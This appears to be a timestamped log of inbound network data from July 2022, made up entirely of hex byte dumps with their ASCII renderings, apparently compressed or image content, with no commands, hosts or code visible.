2022-07-20 13:44:18 UTC	6016	IN	Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a 43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHVC(==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y
2022-07-20 13:44:18 UTC	6023	IN	Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 f2 a3 0a 8b 1a e9 67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 Data Ascii: v\webWpfaF5:27)ylW v7YI\|h[{,8" 6j\|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L\|lvD6)Ew=dYv2+E2%w
2022-07-20 13:44:18 UTC	6039	IN	Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab Data Ascii: decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s\|QY7bY[U,(
2022-07-20 13:44:18 UTC	6055	IN	Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL<1Anh(d:
2022-07-20 13:44:18 UTC	6063	IN	Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE+zl,yDAw~f2unFegJWEYL<j7C ZLRHD
2022-07-20 13:44:18 UTC	6079	IN	Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr
2022-07-20 13:44:18 UTC	6095	IN	Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 14 9e bf b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#
2022-07-20 13:44:18 UTC	6103	IN	Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee Data Ascii: \iP=L@k;\|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy(33^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~2mkM
2022-07-20 13:44:18 UTC	6119	IN	Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& ;wc.
2022-07-20 13:44:18 UTC	6135	IN	Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z\|!40x!`1a=Zw/ytH85);:\|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"
2022-07-20 13:44:18 UTC	6143	IN	Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 eb bb 56 b4 92 af e2 7d 93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 Data Ascii: AV"SrK>\|$F)QZ@?Js9AHj x;[en\|#9F-YxXqc3t\|$YFI.\|.kV!\W=VaZG&X%V.zUEc)cMA5i'~s_%mouoYAfRVV}CdSNk
2022-07-20 13:44:18 UTC	6159	IN	Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB
2022-07-20 13:44:18 UTC	6175	IN	Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db Data Ascii: Mn^)PA:\|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm\|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A'NTbN!I%
2022-07-20 13:44:18 UTC	6182	IN	Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW \|'Q=] EIrwtoxab`L}:%
2022-07-20 13:44:18 UTC	6198	IN	Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN\|C#mnZ?5yp2DYa{h2/u]oPfWUI"Pt$Xs}
2022-07-20 13:44:18 UTC	6214	IN	Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y\|r/`I
2022-07-20 13:44:18 UTC	6222	IN	Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28 a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN\|XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG
2022-07-20 13:44:18 UTC	6238	IN	Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 Data Ascii: Z24Pz\|UUN'dK.6"]?1$w0:EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2i7Fj 4bj<=@V\|Qb@v\|_cO4B$\pT]Qro
2022-07-20 13:44:18 UTC	6254	IN	Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u\|UlaceqOKt;w
2022-07-20 13:44:18 UTC	6258	IN	Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 